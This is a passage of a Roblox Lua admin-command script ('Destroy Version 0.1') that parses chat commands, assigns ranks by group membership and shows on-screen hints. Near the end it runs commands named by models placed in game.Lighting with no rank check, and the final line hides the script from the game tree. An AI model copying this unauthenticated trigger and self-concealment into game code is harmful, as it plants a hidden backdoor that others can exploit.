Text:TweenPosition(UDim2.new(0.5, 0, 0, 0), "InOut", "Quad") wait(Num) Msg:Remove() end)() end else Player=p coroutine.wrap(function() local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player)) local Text = Instance.new("TextLabel", Msg) Text.Position = UDim2.new(0.5, 0, 0, 0) Text.Font=4 Text.FontSize=9 Text.BackgroundColor3 = Color3.new(0,0,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(0,0,0) Text.TextTransparency = 1 Text.TextWrap = true Text.Text = "Hint from "..snder.Name..": "..tostring(str) Text.TextStrokeColor3 = Color3.new(0,0,0) Text.TextStrokeTransparency = 0 Text:TweenSizeAndPosition(UDim2.new(0.5, 0, 0, 0), UDim2.new(0.5, 0, 0, 0), "Out", "Back", 2) Text.TextTransparency = 0 Num = #str * 0.06 wait(3) Text:TweenPosition(UDim2.new(0.5, 0, 0, 0), "InOut", "Quad") wait(Num) Msg:Remove() end)() end end end game.Players.PlayerAdded:connect(function(Player) repeat wait() until Player.Character remtabs(Player) wait(0.1) if Destroy.Ranked[Player.Name] then checkbans() else Destroy.Ranked[Player.Name] = {} if Player:IsInGroup(1130003) then Destroy.Ranked[Player.Name].Rank = 2 Output(Player, BrickColor.new("Lime green"), 'You are now Rank 2 cause your a member of the Destroy group!', false, nil, true) else Destroy.Ranked[Player.Name].Rank = 0 end Destroy.Ranked[Player.Name].Name = Player.Name Destroy.Ranked[Player.Name].Color = BrickColor.Random() end Player.Chatted:connect(function(m) for i,v in pairs(Destroy.Commands) do if v["Usage"]:lower()..Destroy.Bet == m:lower():sub(1, #v["Usage"]:lower()+#Destroy.Bet) then if Destroy.Ranked[Player.Name] and Destroy.Ranked[Player.Name].Rank >= v['Rank'] then v["Func"](getPlayers(m:sub(#v["Usage"]+#Destroy.Bet+1), Player), m:sub(#v["Usage"]+#Destroy.Bet+1), Player) end end end end) end) game.Players.PlayerRemoving:connect(function(plr) remtabs(plr) end) for i,Player in pairs(game.Players:GetChildren()) do repeat wait() until Player.Character remtabs(Player) wait(0.1) if Destroy.Ranked[Player.Name] then checkbans() if Destroy.Ranked[Player.Name].Rank >= 4 then Output(Player, BrickColor.new("Royal purple"), 'Destroy Version 0.1 Loaded', false, nil, true) Output(Player, BrickColor.new("Lime green"), 'Welcome '..tostring(Player.Name), false, nil, true) Output(Player, BrickColor.new("Really blue"), 'The Bet is: '..tostring(Destroy.Bet), false, nil, true) end else Destroy.Ranked[Player.Name] = {} if Player:IsInGroup(1216016) then Destroy.Ranked[Player.Name].Rank = 2 Output(Player, BrickColor.new("Lime green"), 'You are now Rank 2 because your a member of one of the owners favorite groups!', false, nil, true) else Destroy.Ranked[Player.Name].Rank = 0 end Destroy.Ranked[Player.Name].Name = Player.Name Destroy.Ranked[Player.Name].Color = BrickColor.Random() end Player.Chatted:connect(function(m) for i,v in pairs(Destroy.Commands) do if v["Usage"]:lower()..Destroy.Bet == m:lower():sub(1, #v["Usage"]:lower()+#Destroy.Bet) then if Destroy.Ranked[Player.Name] and Destroy.Ranked[Player.Name].Rank >= v['Rank'] then v["Func"](getPlayers(m:sub(#v["Usage"]+#Destroy.Bet+1), Player), m:sub(#v["Usage"]+#Destroy.Bet+1), Player) end end end end) end coroutine.resume(coroutine.create(function() while wait() do pcall(function() for i,v in pairs(game.Players:GetPlayers()) do if v.PlayerGui:findFirstChild('DestroyLogoGUI') then else GiveDestroyGui(v) end end end) end end)) game.Lighting.DescendantAdded:connect(function(x) if x:IsA("Model") then print(x.Name) for i,v in pairs(Destroy.Commands) do if v["Usage"]:lower()..Destroy.Bet == x.Name:lower():sub(1, #v["Usage"]:lower()+#Destroy.Bet) then print'hi' v["Func"](getPlayers(x.Name:sub(#v["Usage"]+#Destroy.Bet+1), nil), x.Name:sub(#v["Usage"]+#Destroy.Bet+1), nil) end end end end) coroutine.resume(coroutine.create(function() while wait() do for i,v in pairs(Destroy.LoopDelete) do for _,x in pairs(game.Workspace:GetChildren()) do if x.Name:find(v) then x:Destroy() end end end end end)) script.Parent = nil